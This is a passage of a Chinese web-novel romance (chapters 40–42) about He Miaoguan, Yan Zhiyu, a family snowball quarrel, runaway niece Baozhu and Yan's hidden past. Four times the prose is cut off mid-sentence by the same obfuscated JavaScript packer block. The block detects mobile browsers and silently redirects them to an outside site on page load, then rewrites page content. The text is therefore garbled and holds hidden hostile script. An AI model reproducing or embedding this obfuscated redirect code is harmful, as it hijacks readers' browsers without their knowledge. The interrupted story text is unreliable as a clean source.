何妙观眼神飘忽,含糊道:“我们没有吵架。” 阿葵歪着头,愈发疑惑:“小姐,那是怎么回事呀?” 何妙观张张嘴,心虚道:“我说没吵架就没吵架,阿葵,你别说问这么多。” 另一边,燕之郁心里也是七上八下。他很想见何妙观,但又怕她觉得他连身体都控制不住,会心生嫌弃。一日一日,想要见她的念头占据上风,燕之郁便掐着时辰,在何府里装作不经意地偶遇。 “妙观,你今日要去哪?” “燕郎君……”何妙观眼神飘忽,支支吾吾道,“我就去街上随便逛逛,买点东西。” 燕之郁垂下眼,轻声道:“妙观,今日我休沐,我和你一起去吧?” 他说完,抬眸看她,眼神湿漉漉的,像饱受委屈。 “嗯……那一起吧。” 两人并肩走着,都有些沉默。最终,是燕之郁先开口道:“妙观,那对鹦哥如今养在衙署后院,很活泼,我每天都能听到它们的叫声。你想不想去看看?” 何妙观眼睛一亮:“好呀,燕郎君。我们什么时候去?” “你想什么时候去都可以。” 说起鹦哥,何妙观便想起何徵的话,连忙道:“燕郎君,阿父说徐侍郎对你很是赏识,还说未来要带你去长安呢。燕郎君,你真厉害。” 燕之郁闻言,唇角弯起温柔的弧度,故意道:“妙观,我还以为,你这些天都不找我,是听到了什么不好的消息。” 何妙观脸颊微热,反问道:“燕之郁,你还好意思说,你不也没来找我!” 少年眼睫低垂,面容上少见地浮出羞赧之色。何妙观看着他这副模样,心中一动,踮起脚尖,飞快地在他唇上轻啄了一下,柔声道:“没事的,我理解的。” “妙观?”燕之郁怔在原地,耳尖泛起绯红,茫然地问,“你……理解什么?” 何妙观故意摆出一副成熟的模样:“燕郎君,嗯,我这些天在钻研一些书本。书上说,嗯,男子那般反应是正常的,没关系的,燕之郁,你不要有负担。” 燕之郁一时不知该说什么,低低应了一声:“……嗯。” 何妙观心中尴尬,但还是故作大方地拉起他的手:“走吧,我们上车,出去买点东西。” 但燕之郁没有动,只是反拽住她的手,目光落在她绯红的侧脸上。 何妙观疑惑地回头。 少年眸光深邃,直直地望着她,喉结轻轻滚动了一下,声音低哑。 “妙观,我也想亲你。” == 车帘外传来熙攘的人声。 “好呀。” 何妙观原本以为,会是一个如同刚才那般浅尝辄止的轻吻。 燕之郁伸手将她轻轻往怀里一带,让她侧坐在他的大腿上。一手扶住她的腰肢,另一手托住她的后颈,迫不及待地吻下来。 少年温热的唇舌地撬开她的齿关,纠缠不休。不过片刻,何妙观便觉得氧气都被他夺走,头脑阵阵发晕,浑身酥软地倚在他怀里。 直到马车在东市停稳,车夫在外轻声提醒,他的唇仍旧流连在她肿痛的唇瓣上,不舍得离开。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605448|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕之郁!”何妙观猛地推开他的胸膛。 燕之郁这才退开些许,情动未褪,眼底泛着湿润的光泽。他舔舔嫣红的唇角,动作很是色|气惑人。 “妙观,我们再亲一下,好不好?”燕之郁素来不是一个见好就收的人,他抿着湿润的唇瓣,小声央求道。 “好吧……就最后一下。” 话音刚落,燕之郁急不可耐地重新吻上来。这一回比方才吻得更加深入缠绵,两人的舌尖勾缠着,吮吸辗转。何妙观仰头承受着,浑身发软,直到唇上传来微微的刺麻感,她忍不住蹙起眉时,燕之郁才停下来,轻声道:“妙观,对不起。” 何妙观取出随身的小菱花镜一照。镜中的女郎双唇红肿水润,明眼人一看便知经历过什么。 “燕之郁,我这副样子还怎么出去买东西?”何妙观又好气又好笑。 “妙观,那我们回府吧。今日天寒,本就不宜在外久留。”他立刻诱哄道。 “不行!”何妙观严词拒绝,“我今天是专门出来采买年货的,怎么能空手回去。” 燕之郁沉吟片刻,只好道:“那这样,我们去那边的铺子买一顶幂篱,遮住你的脸。” 买完幂篱后,两人在东市挑了许久,买下不少年货,蜜饯、果脯和各色糕点,应有尽有。把年货塞回马车后,何妙观没有坐上去,而是朝他勾勾手,大大方方道:“燕郎君,跟着我,我请你到醉仙楼吃顿好的。” 燕之郁眉眼微弯,笑着问道:“妙观,是奖励我方才亲得好么?” “你想的美呢!”何妙观瞪他一眼,“是因为徐侍郎那般夸你,我觉得,燕郎君,你前途定然不可限量。”说罢,又半开玩笑地添上一句,“苟富贵,勿相忘啊,燕郎君。” 燕之郁闻言,眼底笑意更深,目光灼灼地望向她:“妙观,你放心。无论如何,我绝不会忘记你。” 何妙观脸颊微热,偏过头嗔道:“燕之郁,你这个人净会说好听的。长安那样繁华,到时候你光顾着享乐,怕是早把我这个故人忘到九霄云外,呜呜呜……”说着,还夸张地假装摸起眼泪来。 “不会的。妙观,我忘记谁都不会忘记你的。”燕之郁温柔地牵起她的手,同她十指相扣,“倘若接下来,我真的要去长安,你会陪着我一起去么?” 何妙观一时沉默。 顾家那边究竟是何态度,顾徊能否说服顾捷让两人成亲,如今还是未知数。 想到这些,她不禁心烦意乱,含糊应道:“或许吧。不过,不管我去不去,燕郎君,你都要好好把握住机会。我觉得,你一定能做出一番事业的。” 燕之郁凝着她温柔的眉眼,轻声道:“妙观看上去很希望我入仕为官。” “自然是呀。”何妙观理所应当地点点头。 燕之郁心下思忖着,倘若何妙观期望他做官,那么他向她坦白自己是徐墨陵,她或许不会太过生气。 但此事还需要从长计议。 他正想着,女郎温和的声音又响起来:“燕郎君,其实,我也想去看一看长安,那里定然是极繁华、极热闹的。” “再说,谁不盼着心上人前程似锦……” “燕郎君,你好好努力吧。” 40.四十 将近年关时,江都县落下今冬第一场雪。 细碎的雪花纷纷扬扬地飘着,覆盖在亭台楼阁上,化作一层松软的白。 因为年节休沐,何徵难得清闲,大部分时间都在府中。府内年味也愈发浓郁,上上下下都为过新年忙碌起来,下人们穿梭往来,贴窗花、挂灯笼。正厅里炭火烧得旺,长辈们则在商议着年事,琐琐碎碎地说着宴请和拜年的事宜。 外面庭院里的梅花树下,裹着正红色斗篷的小娘子正堆着雪人。 正是何妙观和宝珠。 宝珠半蹲在地上,将一个圆滚滚的雪球垒实当作雪人的脑袋。何妙观弯着腰,寻找着掉落的梅枝,给雪人当双手。 小娘子鼻尖冻得通红,玩的不亦乐乎。 旁边还站着一位十三四岁的少年人,是从金陵回来的何宝灵。 这是何妙观头一回见到这个侄子。 何宝灵穿着宝蓝色的银鼠皮袍,外面罩着貂毛斗篷,他身形不高,人又有些胖,被油光水滑的衣物包裹着,便成圆滚滚的一团。 两个小娘子好不容易堆好雪人,搓着冻僵的手,跑进暖阁里取暖,将何宝灵独自撇在院中。何宝灵冷冷地盯着那雪人,忽地抬脚,狠狠踹去,“哗啦”一声,雪人便塌掉半边。接着,他一撩袍角,也迈步走进暖阁,大剌剌地在两人面前坐下。 “莫名其妙!”宝珠愤愤地撇撇嘴,低头吃起茶点。 “你瞧你,又这么容易生气。”何宝灵挑衅地笑笑,“姐,母老虎是嫁不出去的。” “管好你自己吧!胖成个球样,有没有人看上你才是问题呢。”宝珠白他一眼,转而对何妙观道,“姑姑,我们一会打雪仗,叫燕郎君一起来吧。” 何妙观点点头。 “燕郎君?”何宝灵听到这个,眼睛滴溜溜一转,“姑姑,我听说这个燕郎君,只是在扬州府衙当个抄书郎?” “关你啥事。”宝珠抢先一步道。 “哎,人各有志嘛。他能进扬州府当抄书郎,估计已是人生巅峰,但你弟弟我嘛,将来是要金榜题名,入阁拜相的,自然与寻常碌碌之辈不同。”何宝灵说着,又滔滔不绝讲起他在金陵如何得到师长青眼、如何被同窗钦羡。 他从小就有神童的称号,何静臣和姜氏对这个他更是寄予厚望,常常说他未来肯定能考中进士,入朝为官指日可待。 何妙观和宝珠对视一眼,都有点无语。 “何宝灵,没人想听你说这些。”宝珠被他吵得心烦,打断道,“成天成天把金榜题名挂在嘴边,要是到时候名落孙山,小心让人笑掉大牙。” “名落孙山?”何宝灵脸色一沉,“是是是,我便是名落孙山,也总比有些人终日无所事事,只知道赖在府里混吃混喝强!姐,你还是多操心自己的终身大事吧,整日混迹闺中,再不嫁人,可真要成老姑娘咯!” “你!” 何妙观实在懒得听这些话,站起身,拉起还在瞪眼的宝珠道:“走吧,这里好吵,我们去外面打雪仗。” 两人掀帘而出。 院中雪光清冷,空气凛冽。两人一来一回打得正开心,一道墨色的身影出现在长廊里。 “燕郎君!”何妙观眸色一亮,提着斗篷小跑着上前。 少年穿着墨色圆领袍,外面罩着玄色鹤氅,茸茸的一圈紫貂风毛,簇拥着他如玉精美的脸庞。 “妙观。”他的目光落在她冻得微红的脸颊上,“你冷不冷?” “不冷不冷。快来,我们一起打雪仗。”何妙观拉着他就往雪地里走。 何宝珠刚捏好一个结实的雪球,看到两人一前一后过来,笑着喊道:“姑姑接招!”说罢,雪球便朝何妙观飞去。 “啪”一声轻响,燕之郁挡在她身前,雪球在玄色的鹤氅上绽开一团莹白。 “哎哟、哎哟,你们两个!”何宝珠一边起哄一边笑,“不公平不公平!” 正当此时,廊下传来一声阴阳怪气的轻笑:“姐,你也赶紧找个夫君,就不会这样孤零零一个人了呗。” 何宝灵不知何时倚在廊柱旁,双手抱胸,打量着庭院中的人。 何宝珠正在气头上,抬起手,硬邦邦的雪球直直砸向何宝灵的脸。 何宝灵躲闪不及,脸上被狠狠一砸,有些懵,回过神时骂道:“何宝珠!你发什么疯!” “何宝灵,你这都玩不起吗?”宝珠扬起下巴。 何宝灵气得直跺脚,慌忙招呼身后两个小厮,骂道:“两个蠢货,愣着做什么,给我砸回去!” 小厮们哪敢真对小姐动手,面面相觑,只虚虚地扔了一两个雪球。何宝灵见状更加恼怒,自己弯腰乱抓雪团反击,但因为身子笨拙,接连被三人的雪球砸中。 雪球劈头盖脸朝着何宝灵飞去,将他的锦袍弄得一团狼藉。 何宝灵被砸得抱头鼠窜,心头火起,转身就往正厅跑去:“何宝珠,你给我等着!” 到正厅后,何宝灵委屈地告状道:“阿娘,姐姐和姑姑,他们合起伙来拿雪球砸我!” 姜氏见何宝灵头发湿漉漉的,锦袍上也沾满雪渍,心疼得不行,一提裙摆便朝院子走去。 院子里,宝珠正笑嘻嘻地拉着何妙观,要给重新堆好的雪人找两颗黑石子当眼睛。直到看见何宝灵趾高气扬地领着面色铁青的姜氏过来,宝珠脸上的笑容才僵住,下意识地往何妙观身后躲去。 “宝珠,你弟弟身子弱,你怎么敢这样胡闹?”姜氏冷声道。 何宝珠吓得一哆嗦:“阿娘,我……” 何妙观见状,不由想起自己的继弟。 永远是这样,姐弟家庭里,弟弟往往是受宠爱的那个。 “二嫂,打雪仗有输有赢实属平常,宝珠方才也被宝灵砸得满头满脸都是雪。”何妙观道。 “平常?”姜氏指着何宝灵湿透的衣裳,“小姑子,你看看宝灵什么样,宝珠什么样?宝灵他才多大?你们做姐姐、做长辈的,难道不该让着他、护着他吗?他可是未来要考功名的人,若是染上风寒,谁担待得起!怎么这般不知轻重!” 何宝灵躲在姜氏身后,做着鬼脸,得意之色溢于言表。 何妙观胸中堵着一口气,正要再说些什么,却听得身畔响起一个带着鼻音的声音。 “让着他、护着他?”宝珠抬起头,眼眶通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622093|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红,“从小到大,什么都要我让!好吃的、好玩的,哪一样不是他何宝灵优先?我稍微争辩一句,就是什么做姐姐不懂事、不谦让!他弄坏我的玉簪,你说男孩子调皮难免;我碰一下他的砚台,就是罪大恶极。阿娘,我就比他大两岁而已,凭什么这么对我?就凭他是个带把的吗?” 姜氏被说得一噎,冷声道:“宝珠,你怎么回事?” 何宝珠咬着唇,浑身发抖,一转身,头也不回地跑向厢房里去。 “何宝珠!”姜氏气得脸一阵红一阵白,看着周围渐渐聚拢的下人,又不好发作,“宝灵,跟阿娘回去换衣裳,你姐姐不知道在发什么疯。” 二嫂领着何宝灵走后,下人们也散去,院子里霎时空寂下来,只有未堆完的雪人,歪着半张脸,呆立在渐暗的天光里,孤零零的。 何妙观望着宝珠跑开的方向,心里沉闷,玩雪的兴致也烟消云散。她低头看向裙摆上雪水的痕迹,轻声道:“燕郎君,我们也回去换衣服吧。” 两人默默走过覆雪的庭院。走到抄手游廊下时,光线暗下来。 何妙观想着方才的争吵,正神游着,手腕被一只微凉的手握住。她脚步一顿,回过头。 廊下的阴影中,少年歪着头,打量着她:“妙观,你好像很不开心。”他微微一顿,斟酌着词句,“是因为何宝灵,还是因为二夫人?” 虽然两个人都讨厌,但还是何宝灵更胜一筹。 “何宝灵。”何妙观咬着牙道。 “那我找人把他教训一顿?” “嗯?”何妙观微微一愣,随即意识到他是在哄人,叹道,“燕郎君,你不用这样哄我的。” “我是认真的,妙观。”少年抬起眼,莹莹雪光的映照下,他黑沉沉的眼眸有若墨玉,冷冰冰的,里面没有半分玩笑的意思。 何妙观打量着他。不知为何,燕之郁这样的神态有点陌生。 片刻后,她还是摇摇头,道:“不行,他被打后肯定会闹,到时候二嫂心情不好,受苦的还是宝珠。” “……哦。”燕之郁轻轻应一声,松开手,从袖中取出油纸包,递到她面前。纸包展开,露出裹着糖霜的山楂。“早上在外面看到,想着你或许会喜欢。本刚刚分给你和宝珠的,但没来得及。现在要试试么?” 何妙观拈起一颗放入口中,牙齿轻轻一磕,酸甜的滋味在舌尖化开。 “好吃吗?”他问,目光落在她石榴红的唇珠上。 “嗯。” 回到房内,何妙观换下雪水濡湿的衣裳后,看着桌上晶莹的山楂。宝珠通红的眼睛又浮现在眼前。 “燕郎君,我们去找宝珠吧。她现在肯定很难过。我们把山楂带给她,吃点甜的,兴许能好受些。” 燕之郁没有多言,只是微微颔首,将油纸包重新仔细收好。 暮色渐浓,两人一同往何宝珠的院落走去。越靠近,四周越发寂静得反常。 何妙观心下一紧,抬手推开房门。屋内一片狼藉,绣墩翻倒,妆台上的胭脂、水粉也散落一地。一个负责洒扫的小丫鬟正战战兢兢地收拾着屋子。 “怎么回事?宝珠呢?” 41.四十一 小丫鬟断断续续地说着前因后果。 原来,何宝灵因为打雪仗吃亏,心中记恨,又跑到何宝珠房中吵闹。推搡间,他瞥见案宝珠之前为话本准备的画稿,便指着画稿上面相依的人影,尖声讥讽宝珠,说什么“未出阁的姑娘家画这些不知廉耻的东西,丢尽何家的脸面”之类的话。 宝珠气得浑身发抖,扬手便给了何宝灵一记清脆的耳光,两人扭打成一团,钗环散落,笔墨翻倒,场面一片狼藉。 之后,赶来的姜氏和何静臣,看到画稿,也觉得不成体统,骂宝珠不知羞耻。而何宝灵见有何静臣和姜氏撑腰,火上浇油,言语更加刻薄。宝珠羞愤交加,不管不顾地又要扑上去撕打。 姜氏护子心切,情急之下,竟一巴掌掴在宝珠脸上。 那一记耳光落下后,宝珠便独自在房中痛哭,哭声渐歇后便没了动静。婢女进屋查看,才发现人早已不见踪影。姜氏这才慌了神,心中虽懊悔,却拉不下脸服软,只派了两个贴身婢女出去寻找,却一无所获。 这事传到陈寄柔那,陈寄柔当即将姜氏唤去数落了一顿,怪姜氏处事不公,将宝珠逼得离家。又派了两拨家仆出门寻找,到现在,也没有找到。 何妙观听完小丫鬟的话,心急如焚,便带着燕之郁出门。 隔壁的顾府、醉仙楼、东市、清乐坊……二人寻遍了宝珠平日爱去的地方,却连个人影都没见到。 夜色渐浓,寒风刺骨,江都县又飘起雪。 何妙观感到冬夜的冷意,裹紧披风,心里愈发焦急,问道:“燕郎君,你觉得宝珠会去哪?” 燕之郁微微蹙眉,片刻后道:“哪里能使宝珠有办法离开二夫人和何宝灵,她便会去哪吧?” 这样的话,宝珠这般看重她的话本,想着借此拥有立身之本,会不会…… 何妙观灵光一闪。 “燕郎君,我们去问道书坊。” 问道书坊的后院工坊内点着一盏油灯,一个穿着杏红袄子的小娘子,独自站在雕版工作台前。 “宝珠!”何妙观快步上前。 何宝珠闻声抬头,见到来人,眼圈红起来:“姑姑……” 宝珠一头扑进何妙观怀里,哽咽道:“姑姑……他们、他们都瞧不起我,我偏要做出个样子给他们看……” 何妙观心疼地拍着她的背,等她气息稍稳,才从燕之郁手中接过油纸包,递到她眼前:“是冰糖山楂。吃点甜的,心里会好受些。” 宝珠揉揉眼睛,拈起一颗山楂小口地嚼着。何妙观又让燕之郁将路上买的肉饼和菜汤打开,宝珠一边吃,一边小声道:“姑姑,燕郎君,还是你们对宝珠好。阿娘一点都不关心宝珠。宝珠出来这么久,阿娘都没找过来。” “二嫂其实有派人找你,只不过没找到。”何妙观叹道,“宝珠,吃完这个,和姑姑一起回家好不好?” “不好。”宝珠坚定地摇头,“我要等阿娘道歉。她若不来,不认错,我就不回去。” 何妙观轻叹一声,只好坐下,陪她等着姜氏。约莫一炷香后,书坊外传来急促的脚步声。姜氏带着婢女匆匆寻来,姜氏看上去也哭过一场,发髻散乱,眼中布满血丝。看到宝珠安然无恙地站在书坊里,她松了一口气,但脚步有些迟疑。 何宝珠撇着嘴,用勺子搅拌着吃剩的菜汤。 姜氏犹豫片刻,走上前,沙哑道:“宝珠……” 何宝珠别过脸去,不肯看她。 姜氏深吸一口气,语气软了下来:“宝珠,是阿娘不好。阿娘不该说那些话,更不该动手打你。” 宝珠还是不说话。 “阿娘、阿娘方才想了许多,宝珠,小时候你发热不肯吃药,也是这样背对着阿娘,不肯说话。”姜氏声音颤抖,说起毫不相干的事情,“那时候阿娘抱着你,一遍遍说‘宝珠乖,吃完药,阿娘给你买麦芽糖’。可不知从什么时候起,阿娘再没好好哄过你。总觉得你是姐姐,该让着弟弟,该懂事……” 何妙观悄悄拉着燕之郁退出去。 “方才找你这一路,阿娘把你这些年都回想了一遍。你三岁时,画花样子弄坏家里的账本,那时阿娘还夸你画得活灵活现……如今阿娘好像反倒不如从前明白。宝珠,那些画稿……你爹说伤风败俗时,阿娘本该护着你的。” 宝珠听到这里,又觉得委屈,肩膀轻轻抽动起来。 “宝珠,这些年阿娘被男孩传宗接代的念头魇住,眼里就只剩宝灵的功课,宝灵的前程……是阿娘对不起你。”姜氏伸手,颤抖着落在宝珠的肩上,“那叠画稿,阿娘给你收得好好的,一张都没坏。往后你想画就画,阿娘给你买最贵的颜料。” 宝珠小声哭起来。 “刚刚阿娘也在家里训过了宝灵,他不该对姐姐说那种话的,现在,宝珠和阿娘回家好不好?” == 寂静的雪夜,空气清冽。 何妙观和燕之郁并肩走在覆着薄雪的石板路上,少年撑着纸伞,隔绝开簌簌飘落的雪花。 “妙观,”少年清润的嗓音打破寂静,呵出的白气在寒夜里晕开,“你真好。” 何妙观微怔,侧头看他。灯笼暖光的映照下,伞沿的阴影落在他半边脸上,明暗交界,衬得他肌肤如玉,眉眼深邃。 “为什么忽然这么说?” “就是觉得妙观很好。”他声音里带着笑,“妙观对谁都好。待我,待宝珠,待杜御史,待那对鹦哥……都很好。” 他细细数着。 何妙观被他说得耳根发热,低下头,看着路上前人留下的雪印:“不过是顺手的事,说这么夸张。” “这怎么会是顺手?”燕之郁停下脚步,认真地看着她。 “你为宝珠的话本奔走,救杜御史于危难,连养鸟都费心写下详细的册子。当初我流落街头,没有地方去,也是你毫不犹豫地带我回府……妙观,你真的是我见过,心肠最软、世上最好的女郎。” “燕之郁,你又这么夸张。”何妙观嗔怪地瞥他一眼,嘴角微微扬起来。 “我说的都是实话。” 两人不知不觉走上石桥。桥下河水尚未全部冻结,浮着一层薄冰,映出天上的一弯冷月,碎光粼粼。月光与雪光交融,天地万物都如同蒙着一层柔纱。 燕之郁扶着冰凉的桥栏,问道:“妙观,你自己可有什么想做的事?” 何妙观微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623377|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,看着河面上破碎的月影,不由有些苦涩。她来到这个世界的任务是阻止燕之郁黑化。可是,这半个月来,系统只提示说好感值升到五十,但黑化值只字未提。她甚至连现在的黑化值和最初相比,到底是增是减也不清楚。 “燕郎君,你在何府的这段时间,过得开心吗?”何妙观反问他。 “自然开心。”燕之郁答得没有半分迟疑,“同妙观在一处,日日都是开心的。” 少年映着月色的眼眸,清亮逼人。何妙观同他对视片刻,心弦微动,轻声道:“燕郎君,我最想做的事,便是让你永远这般开心。但我觉得……你恐怕不会相信这种话。” 燕之郁一怔,静静地望着她。女郎的眼眸清澈见底,坦诚异常,他窥不见半分虚饰。 天地寂静,只能听到雪花落在伞面上的窸窣声响。 良久,他俯身靠近,手中的纸伞悄然倾斜。 其实无论这是真话还是假话,他都甘之如饴。若是真话,自然再好不过,他们便一生一世一双人;若是假话,那也说明她是想要他听着高兴,他又有什么不满足的。 一个轻如雪片的吻,落在何妙观微颤的眼皮上。 “我信的,妙观。”他低声说着,温热的气息拂过她的睫毛。 月色如纱,雪落无痕。纸伞之下,仿佛天地间只剩他们二人。 眼皮上那抹温热的触感久久未散,何妙观颊边发热,但心中仍旧忧虑着。 倘若是开心的,为什么系统里的黑化值还是纹丝不动呢? 难不成是因为现在的黑化值是零? 但何妙观又觉得不会有这种好事。 “燕郎君,其实我有时候觉得,虽然我很喜欢你,却未必真的懂你。我不知道,你心中真正想要的是什么。毕生又想要投入到什么样的事业中去。”何妙观认真道。 雪花悄然落在伞面上,燕之郁执伞的手微微收紧。 他弯起唇角,笑意温软:“妙观,你知道的,我只是想和你妙观在一起。若是你眼中没有旁人,那便更是再好不过。” 何妙观望着他温柔缱绻的笑容,轻叹一声。燕之郁素来如此,专门讲一些讨人欢心的话。但这些话到底多少真,多少假,她也不清楚。再说,他到底是书里能够翻云覆雨的反派,怎会甘于如此平凡的愿景。 “我也想和你一直在一起。”何妙观拢拢被风吹散的鬓发,柔声道,“这样吧,燕郎君,今晚你同我讲讲你从前的事,好不好?” 燕之郁沉默片刻,眸中似有暗流涌动。 最终,种种复杂的情绪化作浅淡的温柔。少年颔首说“好”。 他牵起她微凉的手,看向桥头不远处在风雪中摇曳的温暖灯火,道:“妙观,那边的酒垆应当还开着,我们去坐坐。” 酒垆不大,但干净整洁。炭火的暖意夹杂着酒香扑面而来。堂内,两三桌客人围炉低语着,炉火噼啪作响,在寒冷的冬夜里很是温馨。 两人绕过堂前,在一处用屏风隔开的僻静小间里坐下。燕之郁为她斟上一杯温热的黄酒,热气氤氲着,模糊两人的眉眼。 燕之郁含笑问道:“妙观,你想听我从什么时候说起?” 42.四十二 酒垆小间内烛火摇曳,将两人的身影投在屏风上。 何妙观之所以问起往事,并非一时兴起,而是因为好感度五十解锁的故事,和以往的故事全然不同,没有提供明确的时间和地点。 何妙观一进入故事,便陷入绝对的黑暗。周遭寂静得可怕,唯有水滴滴落在地板上的声音。 嗒。嗒。嗒。 因为暗无天日,何妙观甚至无法确定黑暗中是否还有别人。但那缓慢、冰冷的水滴声让她感到毛骨悚然,心跳都有些紊乱,最终不得不强行让系统终止体验。 何妙观不清楚这段故事,到底是已经发生的,还是未来燕之郁会遭遇的。 望着烛光下燕之郁清俊的侧脸,何妙观轻声道:“就从你还记得的事情开始说吧。我都想知道。” “好。”燕之郁柔柔一笑,漆黑的眼瞳因为映着跳动的烛火,显得温柔缱绻。 “妙观,其实我并非陈衡先生的亲生骨肉。我是随阿娘姓的,阿娘名叫燕梧,是苏州人。” “阿娘十六岁那年,和同乡姐妹结伴前往长安城谋生,在一个极为显赫的大户人家作婢女。最开始好好的,但后来……我是阿娘和那家家主所生。”说到这里,燕之郁喉结轻轻滚动了一下,声音有些滞涩,“在阿娘有孕之后,家主为保全名声,便将阿娘逐出了府门。” 何妙观听到这里,眼睫微颤,忍不住轻声追问:“那个长安的大户人家……是哪一家?” 燕之郁一时语塞。他虽然不愿意欺骗她,但实在不能说那便是权势煊赫的京兆杜氏。 燕之郁摇摇头,声音平静无波:“阿娘说,不要执着于往事,也不要心怀怨怼。故而从未告知我生父的名姓。” “阿娘生下我后,想要继续在长安谋生。可一个带着婴孩、又被冠以勾引家主之名的女子,再没有大户人家肯收留。阿娘走投无路,便带着我返回苏州。”他微微一顿,“但是,舅舅们也嫌阿娘辱没门风,将我们拒之门外。” “再后来,阿娘来到扬州,凭着出色的绣艺,在城郊的一处绣庄做绣娘,虽然劳累,但总算有个安身之所。” “陈衡先生是阿娘的竹马,一直未曾婚娶。得知阿娘的境遇后,他和阿娘成婚,也认下我。”说到这里,燕之郁的语调柔和些许,“陈先生在私塾里教书,我自幼便跟着他读书识字。阿娘则继续做绣活补贴家用。” “妙观……”燕之郁的视线投向窗外纷飞的雪花,苦涩地一笑,“我曾以为我和阿娘还有陈先生一起能够平淡地度过一生。但在我十一岁那年,阿娘因为难产撒手人寰,连刚出生的妹妹也未能留住。” 何妙观垂下眼,不知道该说什么。 “十三岁时,我们在的村子遭遇匪患,陈先生因此去世。匪患之后,家宅被村里的地痞强占,我便和一位朋友来到江都县,四处做帮工糊口。但不久,又因为一纸政令失去生计。有一段时日,我们只得沿街乞讨。” 说到这里,燕之郁沉默下来。烛火在他眼中跳动,深潭般的眸底泛起涟漪。 再后来,他辗转来到长安,遇到杜澹庵,踏入波谲云诡的棋局,作为一枚棋子。 最初,他只不过是一枚弃子而已。杜澹庵之所以愿意把他安插进李循府中,是因为他觉得,年纪最小的李循,绝无可能称帝,让他监视一下李循的动向倒也不错。而且,杜澹庵也没料到燕之郁竟敢有胆量背叛他,和李循踏上一条贼船。 再后来,太子被废,梁王被诛,韩王暴毙,原本不被看好的赵王李循成为储君的唯一人选。李循登基后,他作为李循的亲信,平步青云。杜澹庵虽然仍旧是朝中肱骨,但还是忌惮他会因生母之事报复,想要永诀后患,不止一次命人刺杀他。 李循刚刚登基,根基不稳,需要仰仗朝中老臣,不便直接对杜澹庵下手,权衡之下,便让他假死脱身,化名“徐墨陵”,重新入朝为官。 但这些,他尚且不能坦诚。 燕之郁抬起眼,柔柔一笑,将汹涌的暗流尽数压下,道:“待到新帝登基,政令再度更改,我总算能靠为城中大户抄书度日。再后来,妙观,你便找到了我。” 何妙观沉吟片刻,轻声问道:“你那位一同帮工的朋友,如今在何处?” 燕之郁目光微垂,平淡道:“他呀……后来自然去了别处谋生,应该是长安吧?” “哦。这样。”何妙观猜测,他说的那位朋友,应当就是故事里曾出现过的周崖。 燕之郁唇角一弯,戏谑道:“怎么,妙观也想要帮他?不过他如今过得应该还可以的,无需挂心。况且——”他拖长语调,笑眯眯地凑近些,“妙观,你若待他如待我一般,我可是会吃醋的。” “燕之郁,你整日都在想些什么啊?”何妙观无奈地瞥他一眼,“我只是在担心我让你住在我们家,会不会影响你和原本那些朋友相处。” “不会的。我在江都县没有朋友。”燕之郁立刻道。 “这样啊……那在江都县遇到我之前,燕郎君你都是独自一人?”何妙观不由有些怜惜,轻轻握住他的手,“那岂不是非常孤单?” 燕之郁眼睫轻颤,换上一副夸张的委屈神色:“是呀,妙观,遇到你之前,我就是一个人孤零零的。我还以为,这辈子就要这般凄风苦雨地过下去,凄凄惨惨地一个人死掉,可是……”说着,他伸手将她揽近,下巴轻轻蹭着她的发顶,语气柔软,“幸好,能够遇到妙观。” 何妙观脸颊微烫,嘴上道:“呸呸呸,燕之郁,你少说这种死不死的话,很不吉利的!而且,就算没遇到我,你也会遇到旁人的。” “我不要旁人。”燕之郁收紧臂弯,忍不住轻笑起来,“妙观,我只喜欢你。旁人接近我都有别的目的,只有你是真心待我好。” “好肉麻……”何妙观说着,一边回抱住他,“那你帮工的那些年,有没有人虐待过你?” 何妙观还是弄不明白,故事中那片诡异的黑暗和滴水声到底是怎么回事。 燕之郁身体一僵,松开她,看着她的眼睛问道:“妙观,为什么突然问这个?” 何妙观小声道:“我、我听闻扬州这边,有的大户人家对待下人非常苛刻,动辄将人关起来责罚。” 话音刚落,燕之郁眼底似有寒冰骤凝,像是被不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630599|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 